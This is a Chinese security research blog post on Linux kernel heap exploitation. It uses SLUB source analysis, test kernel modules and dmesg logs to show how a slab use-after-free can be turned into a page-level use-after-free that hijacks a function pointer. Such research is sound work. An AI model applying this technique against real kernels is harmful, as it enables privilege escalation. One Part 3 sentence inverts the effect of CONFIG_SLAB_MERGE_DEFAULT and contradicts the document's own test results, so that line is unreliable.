Linux 内核利用技巧: Slab UAF to Page UAF

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2023-11-11 23:28:07 AnQuanKeInfo 来源：ZONE.CI 全球网 0 阅读模式

author: 熊潇 of IceSword Lab

本文研究了内核编译选项 CONFIG_SLAB_MERGE_DEFAULT 对 kmem_cache 分配的影响.

以及开启该配置的时候, slab UAF 的一种利用方案 (方案来源, 本文内容基于 Linux-5.10.90).

阅读前, 需要对 slab/slub, Buddy system 有基本的了解.

Part. 1: 源码分析
Part. 2: CONFIG_SLAB_MERGE_DEFAULT 配置对比测试
Part. 3: 跨 slab 的 UAF 利用示例

Part. 1

创建 struct kmem_cache 的时候，有两种情况:

__kmem_cache_alias : 跟现有的共用（mergeable）
create_cache : 创建一个新的

kmem_cache_create(..)
    kmem_cache_create_usercopy(..)
        if (!usersize) // usersize == 0
            s = __kmem_cache_alias(name, size, align, flags, ctor); // s 为 NULL 才会创建新的 slab
        if (s)
            goto out_unlock;
        create_cache()

// 进入 `__kmem_cache_alias` 看看
__kmem_cache_alias(..)
    // 检查 CONFIG_SLAB_MERGE_DEFAULT 配置；
    // 如果开启了，则通过 sysfs_slab_alias 找到已经创建的相同大小的 slab 作为替代
    s = find_mergeable(..)
        list_for_each_entry_reverse(s, &slab_caches, list) {
            if (slab_unmergeable(s)) // slab_nomerge 为 true 时 return 1;
                continue; 
             ...
             return s;
        }
        return NULL; // slab_nomerge 为 true 的时候返回 NULL
    if(s)           
       ... 
       sysfs_slab_alias(..)
    return s;

// CONFIG_SLAB_MERGE_DEFAULT=y -> slab_nomerge == false
// CONFIG_SLAB_MERGE_DEFAULT=n -> slab_nomerge == true
static bool slab_nomerge = !IS_ENABLED(CONFIG_SLAB_MERGE_DEFAULT);

// https://cateee.net/lkddb/web-lkddb/SLAB_MERGE_DEFAULT.html
// CONFIG_SLAB_MERGE_DEFAULT: Allow slab caches to be merged

// For reduced kernel memory fragmentation, slab caches can be merged 
// when they share the same size and other characteristics. 
// This carries a risk of kernel heap overflows being able to 
// overwrite objects from merged caches (and more easily control cache layout), 
// which makes such heap attacks easier to exploit by attackers.

Part.2

测试 CONFIG_SLAB_MERGE_DEFAULT 的影响

Host 主机(开启了配置)：

└─[$] uname -r
5.15.0-52-generic

└─[$] cat /boot/config-$(uname -r) |grep CONFIG_SLAB_MERGE_DEFAULT      
CONFIG_SLAB_MERGE_DEFAULT=y

VM (未开启配置):

➜  ~ uname -r
5.10.90

└─[$] cat .config|grep CONFIG_SLAB_MERGE_DEFAULT       
# CONFIG_SLAB_MERGE_DEFAULT is not set

code

  #include <linux/module.h>
  #include <linux/kernel.h>
  #include <linux/init.h>
  #include <linux/mm.h>
  #include <linux/slab.h>
  #include <linux/slub_def.h>
  #include <linux/sched.h>

  #define OBJ_SIZE 256
  #define OBJ_NUM ((PAGE_SIZE/OBJ_SIZE) * 3)

  struct my_struct {
      char data[OBJ_SIZE];
  };

  static struct kmem_cache *my_cachep;
  static struct my_struct *ms[OBJ_NUM];

  static int __init km_init(void){
      int i, cpu;
      struct kmem_cache_cpu *c;
      struct page *pg;

      pr_info("Hello\n");

          my_cachep = kmem_cache_create("my_struct",
              sizeof(struct my_struct), 0,
              SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,
              NULL);

      pr_info("my_cachep: %px, %s\n", my_cachep, my_cachep->name);
      pr_info("my_cachep.size: %u\n", my_cachep->size);
      pr_info("my_cachep.object_size: %u\n", kmem_cache_size(my_cachep));

      cpu = get_cpu();
      pr_info("cpu: %d\n", cpu);

      c = per_cpu_ptr(my_cachep->cpu_slab, cpu);

      for(i = 0; i<OBJ_NUM; i++){
          ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
          pg = virt_to_page(ms[i]);
          pr_info("[%02d] object: %px, page: %px(%px), %d\n", i, ms[i],
                  pg, page_address(pg),
                  (void *)pg == (void *)c->page);
      }

      return 0;

  }

  static void __exit km_exit(void)
  {
      int i;

      for( i = 0; i<OBJ_NUM; i++){
          kmem_cache_free(my_cachep, ms[i]);
      }
      kmem_cache_destroy(my_cachep);
      pr_info("Bye\n");
  }

  module_init(km_init);
  module_exit(km_exit);

  MODULE_LICENSE("GPL");
  MODULE_AUTHOR("X++D");
  MODULE_DESCRIPTION("Kernel xxx Module.");
  MODULE_VERSION("0.1");

VM result

分配的 object 地址和 page 的关系非常清晰

  ➜  ~ insmod slab-tc.ko
  [ 1184.983757] Hello
  [ 1184.984278] my_cachep: ffff8880096ea000, my_struct
  [ 1184.985568] my_cachep.size: 256
  [ 1184.986451] my_cachep.object_size: 256
  [ 1184.987488] cpu: 0
  **[ 1184.988945] [00] object: ffff888005c38000, page: ffffea0000170e00(ffff888005c38000), 1**
  [ 1184.991189] [01] object: ffff888005c38100, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1184.993438] [02] object: ffff888005c38200, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1184.995688] [03] object: ffff888005c38300, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1184.998018] [04] object: ffff888005c38400, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.000234] [05] object: ffff888005c38500, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.002529] [06] object: ffff888005c38600, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.004702] [07] object: ffff888005c38700, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.006841] [08] object: ffff888005c38800, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.008919] [09] object: ffff888005c38900, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.010944] [10] object: ffff888005c38a00, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.013021] [11] object: ffff888005c38b00, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.014904] [12] object: ffff888005c38c00, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.016926] [13] object: ffff888005c38d00, page: ffffea0000170e00(ffff888005c38000), 1
  [ 1185.018883] [14] object: ffff888005c38e00, page: ffffea0000170e00(ffff888005c38000), 1
  **[ 1185.020761] [15] object: ffff888005c38f00, page: ffffea0000170e00(ffff888005c38000), 1**
  **[ 1185.022735] [16] object: ffff88800953d000, page: ffffea0000254f40(ffff88800953d000), 1**
  [ 1185.024679] [17] object: ffff88800953d100, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.026579] [18] object: ffff88800953d200, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.028528] [19] object: ffff88800953d300, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.030443] [20] object: ffff88800953d400, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.032372] [21] object: ffff88800953d500, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.034263] [22] object: ffff88800953d600, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.036116] [23] object: ffff88800953d700, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.038086] [24] object: ffff88800953d800, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.039929] [25] object: ffff88800953d900, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.041944] [26] object: ffff88800953da00, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.043852] [27] object: ffff88800953db00, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.045736] [28] object: ffff88800953dc00, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.047678] [29] object: ffff88800953dd00, page: ffffea0000254f40(ffff88800953d000), 1
  [ 1185.049585] [30] object: ffff88800953de00, page: ffffea0000254f40(ffff88800953d000), 1
  **[ 1185.051391] [31] object: ffff88800953df00, page: ffffea0000254f40(ffff88800953d000), 1**
  **[ 1185.053206] [32] object: ffff888009543000, page: ffffea00002550c0(ffff888009543000), 1**
  [ 1185.055038] [33] object: ffff888009543100, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.056666] [34] object: ffff888009543200, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.058430] [35] object: ffff888009543300, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.060174] [36] object: ffff888009543400, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.061955] [37] object: ffff888009543500, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.063694] [38] object: ffff888009543600, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.065468] [39] object: ffff888009543700, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.067231] [40] object: ffff888009543800, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.068930] [41] object: ffff888009543900, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.070600] [42] object: ffff888009543a00, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.072224] [43] object: ffff888009543b00, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.073911] [44] object: ffff888009543c00, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.075534] [45] object: ffff888009543d00, page: ffffea00002550c0(ffff888009543000), 1
  [ 1185.077211] [46] object: ffff888009543e00, page: ffffea00002550c0(ffff888009543000), 1
  **[ 1185.078887] [47] object: ffff888009543f00, page: ffffea00002550c0(ffff888009543000), 1**

有独立的 sysfs 目录

  ➜  ~ file /sys/kernel/slab/my_struct
  /sys/kernel/slab/my_struct: directory

  ➜  ~ file /sys/kernel/slab/pool_workqueue
  /sys/kernel/slab/pool_workqueue: directory

Host result

分配的 obj 位于的 page 地址非常杂乱，my_cachep 的 name 也变成了 pool_workqueue

  [435532.063645] Hello
  [435532.063655] my_cachep: ffff8faf40045900, pool_workqueue
  [435532.063658] my_cachep.size: 256
  [435532.063659] my_cachep.object_size: 256
  [435532.063660] cpu: 0
  [435532.063662] [00] object: ffff8fafb100b400, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063664] [01] object: ffff8fafb100a700, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063666] [02] object: ffff8fafb100ae00, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063668] [03] object: ffff8fafb100b900, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063670] [04] object: ffff8fafb100be00, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063672] [05] object: ffff8fafb100bf00, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063674] [06] object: ffff8fafb100af00, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063676] [07] object: ffff8fafb100ad00, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063677] [08] object: ffff8fafb100bc00, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063679] [09] object: ffff8fafb100a600, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063681] [10] object: ffff8fafb100a800, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063683] [11] object: ffff8fafb100a000, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063685] [12] object: ffff8fafb100ab00, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063687] [13] object: ffff8fafb100b300, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063689] [14] object: ffff8fafb100a900, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063690] [15] object: ffff8fafb100b000, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063692] [16] object: ffff8fafb100a100, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063694] [17] object: ffff8fafb100b100, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063696] [18] object: ffff8fafb100b500, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063698] [19] object: ffff8fafb100bd00, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063700] [20] object: ffff8fafb100ba00, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063702] [21] object: ffff8fafb100b700, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063703] [22] object: ffff8fafb100a200, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063705] [23] object: ffff8fafb100b200, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063707] [24] object: ffff8fafb100bb00, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063709] [25] object: ffff8fafb100aa00, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063711] [26] object: ffff8fafb100a500, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063713] [27] object: ffff8fafb100b600, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063714] [28] object: ffff8fafb100b800, page: ffffd50545c402c0(ffff8fafb100b000), 0
  [435532.063716] [29] object: ffff8fafb100a400, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063718] [30] object: ffff8fafb100ac00, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063720] [31] object: ffff8fafb100a300, page: ffffd50545c40280(ffff8fafb100a000), 1
  [435532.063724] [32] object: ffff8faf488fec00, page: ffffd50544223f80(ffff8faf488fe000), 1
  [435532.063726] [33] object: ffff8faf488fe400, page: ffffd50544223f80(ffff8faf488fe000), 1
  [435532.063728] [34] object: ffff8faf488ff800, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.063730] [35] object: ffff8faf488ff600, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.063732] [36] object: ffff8faf488fe500, page: ffffd50544223f80(ffff8faf488fe000), 1
  [435532.063734] [37] object: ffff8faf488fea00, page: ffffd50544223f80(ffff8faf488fe000), 1
  [435532.063736] [38] object: ffff8faf488ffb00, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.063737] [39] object: ffff8faf488ff200, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.063739] [40] object: ffff8faf488fe200, page: ffffd50544223f80(ffff8faf488fe000), 1
  [435532.063741] [41] object: ffff8faf488ff700, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.063743] [42] object: ffff8faf488ffa00, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.063745] [43] object: ffff8faf488ff400, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.063747] [44] object: ffff8faf488fe700, page: ffffd50544223f80(ffff8faf488fe000), 1
  [435532.063749] [45] object: ffff8faf488fee00, page: ffffd50544223f80(ffff8faf488fe000), 1
  [435532.063750] [46] object: ffff8faf488ff900, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.063752] [47] object: ffff8faf488ffe00, page: ffffd50544223fc0(ffff8faf488ff000), 0
  [435532.065672] Bye

sysfs 目录也是和 pool_workqueue 共用的

  └─[$] file /sys/kernel/slab/my_struct              
  /sys/kernel/slab/my_struct: symbolic link to :0000256

  └─[$] file /sys/kernel/slab/pool_workqueue 
  /sys/kernel/slab/pool_workqueue: symbolic link to :0000256

Part. 3

根据前两个部分知道，开启 CONFIG_SLAB_MERGE_DEFAULT 配置后，不同类型的 kmem_cache 的内存完全隔离.

这种情况下，想要占据被释放的 slab object 内存(比如一个 struct file) 只能通过申请相同的 slab object,

而像 struct file 这样的内存，用户态可以操纵的内容非常有限,

解决办法是: 占据目标 object (e.g. struct file) 所在的整个 page，在 object invalid free 之后 free 掉同页面其他 object，再满足一系列条件就可以让整个 page 被 buddy system 回收，并被重新申请

条件一:

目标 object 所在的 page 不是 s->cpu_slab->page

static __always_inline void do_slab_free(struct kmem_cache *s,
                struct page *page, void *head, void *tail,
                int cnt, unsigned long addr)
{
...
    c = raw_cpu_ptr(s->cpu_slab);
...
    **if (likely(page == c->page)) {**
    ...
    } else
      __slab_free(s, page, head, tail_obj, cnt, addr);
    ...

条件二:

object 所在 page 满足 page->pobjects > (s)->cpu_partial

// #define slub_cpu_partial(s) ((s)->cpu_partial)
static void put_cpu_partial(struct kmem_cache *s, struct page *page, int drain)
...
    oldpage = this_cpu_read(s->cpu_slab->partial);
    pobjects = oldpage->pobjects;
    **if (drain && pobjects > slub_cpu_partial(s)) {**
        ...
        unfreeze_partials(s, this_cpu_ptr(s->cpu_slab));

条件三:

object 所在 page 位于 freelist 且 page.inuse为 0

static void unfreeze_partials(struct kmem_cache *s,
        struct kmem_cache_cpu *c)
{
...
        while ((page = slub_percpu_partial(c))) {
...
                **if (unlikely(!new.inuse && n->nr_partial >= s->min_partial)) {**
            page->next = discard_page;
            **discard_page = page;**
        } else {
...
        }
      }
...
        while (discard_page) {
        page = discard_page;
        discard_page = discard_page->next;

        stat(s, DEACTIVATE_EMPTY);
        **discard_slab(s, page);**
        stat(s, FREE_SLAB);
    }

触发方法:

创建一批 objects 占满 cpu_partial + 2 个 pages, 保证 free 的时候 page->pobjects > (s)->cpu_partial
创建 objects 占据一个新的 page ，但不占满，保证 c->page 指向这个 page
free 掉一个 page 的所有 objects, 使这个 page 的 page.inuse == 0
剩下的每个 page free 一个 object 用完 partial list 后就会 free 掉目标 page

代码如下:

/*
 *
 * 通过 free slab objects free 掉一个 page, 然后 UAF 利用
 *
➜  ~ uname -r
5.10.90
 * */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/slub_def.h>
#include <linux/sched.h>


#define OBJ_SIZE 256
#define OBJ_NUM (16 * 16)

struct my_struct {
    union {
        char data[OBJ_SIZE];
        struct {
            void (*func)(void);
            char paddings[OBJ_SIZE - 8];
        };
    };
} __attribute__((aligned(OBJ_SIZE)));

static struct kmem_cache *my_cachep;
struct my_struct **tmp_ms;
struct my_struct *ms;
struct my_struct *random_ms;
struct page *target;


void hello_func(void){
    pr_info("Hello\n");
}

void hack_func(void){
    pr_info("Hacked\n");
}

static int __init km_init(void){
#define OO_SHIFT    16
#define OO_MASK     ((1 << OO_SHIFT) - 1)
    int i, cpu_partial, objs_per_slab;
    struct page *target;
    struct page *realloc;
    void *p;

    tmp_ms = kmalloc(OBJ_NUM * 8, GFP_KERNEL);
    my_cachep = kmem_cache_create("my_struct", sizeof(struct my_struct), 0,
    SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,NULL);

    pr_info("%s\n", my_cachep->name);
    pr_info("cpu_partial: %d\n", my_cachep->cpu_partial);
    pr_info("objs_per_slab: %u\n", my_cachep->oo.x & OO_MASK);
    pr_info("\n");

    cpu_partial = my_cachep->cpu_partial;
    objs_per_slab = my_cachep->oo.x & OO_MASK;

    random_ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);

    // 16 * 14
    for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){
        tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
    }

    // 15
    for(i = (objs_per_slab * (cpu_partial + 1));
            i < objs_per_slab * (cpu_partial + 2) - 1; i++){
        tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
    }

    // free normal object
    ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);
    target = virt_to_page(ms);
    pr_info("target page: %px\n", target);
    ms->func = (void *)hello_func;
    ms->func();
    kmem_cache_free(my_cachep, ms);

    // 17
    for(i = objs_per_slab * (cpu_partial + 2) - 1;
            i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){
        tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);
    }

        // free page
    for(i = (objs_per_slab * (cpu_partial + 1));
            i < objs_per_slab * (cpu_partial + 2) - 1; i++){

        kmem_cache_free(my_cachep, tmp_ms[i]);
        tmp_ms[i] = NULL;
    }

    for(i = objs_per_slab * (cpu_partial + 2) - 1;
            i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){
        kmem_cache_free(my_cachep, tmp_ms[i]);
        tmp_ms[i] = NULL;
    }

    for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){
        if(i % objs_per_slab == 0){
            kmem_cache_free(my_cachep, tmp_ms[i]);
            tmp_ms[i] = NULL;
        }
    }

    // in other evil task
    realloc = alloc_page(GFP_KERNEL);
    if(realloc == target){
        pr_info("[+] Realloc success!!!\n");
    }else{
        return 0;
    }

    p = page_address(realloc);
    for(i = 0; i< PAGE_SIZE/8; i++){
        ((void **)p)[i] = (void *)hack_func;
    }

    // UAF
    if(0)
        return;
    else
        ms->func();

    free_page((unsigned long)p);

    return 0;

}

static void __exit km_exit(void)
{
    int i;

    for(i = 0; i < OBJ_NUM; i++){
        if(tmp_ms[i])
            kmem_cache_free(my_cachep, tmp_ms[i]);
    }
    kmem_cache_free(my_cachep, random_ms);
    kmem_cache_destroy(my_cachep);
    kfree(tmp_ms);
    pr_info("Bye\n");
}


module_init(km_init);
module_exit(km_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("X++D");
MODULE_DESCRIPTION("Kernel xxx Module.");
MODULE_VERSION("0.1");